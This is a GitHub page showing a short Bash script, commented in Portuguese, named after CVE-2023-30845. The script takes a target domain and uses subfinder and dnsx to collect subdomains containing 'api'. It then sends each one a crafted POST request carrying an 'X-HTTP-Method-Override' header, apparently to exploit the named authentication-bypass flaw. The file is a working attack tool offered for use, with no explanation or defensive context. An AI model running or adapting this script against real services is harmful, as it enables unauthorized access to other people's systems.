-
Notifications
You must be signed in to change notification settings - Fork 2
/
CVE-2023-30845.sh
26 lines (22 loc) · 947 Bytes
/
CVE-2023-30845.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/bin/bash
echo "Digite a URL que deseja escanear:"
read alvo
# Executar Subfinder para encontrar subdomínios
subfinder -d "$alvo" -silent | dnsx -silent -asn | cut -d ' ' -f1 | grep --color 'api' > subdominios.txt
# Verificar se o arquivo subdominios.txt existe e não está vazio
if [ -s subdominios.txt ]; then
echo "Subdomínios com 'api' encontrados:"
cat subdominios.txt
echo
echo "Realizando solicitações HTTP POST nos subdomínios..."
while read -r url; do
# Usar o curl para fazer uma solicitação HTTP POST para a URL com a estrutura correta
curl "$url/api" -X POST -H 'X-HTTP-Method-Override: POST' -H 'Content-Type: application/json' --data '{"username":"xyz"}'
# Adicionar um espaço em branco para separar as saídas
echo
done < subdominios.txt
else
echo "Nenhum subdomínio com 'api' encontrado."
fi
# Remover o arquivo de subdomínios temporário
rm subdominios.txt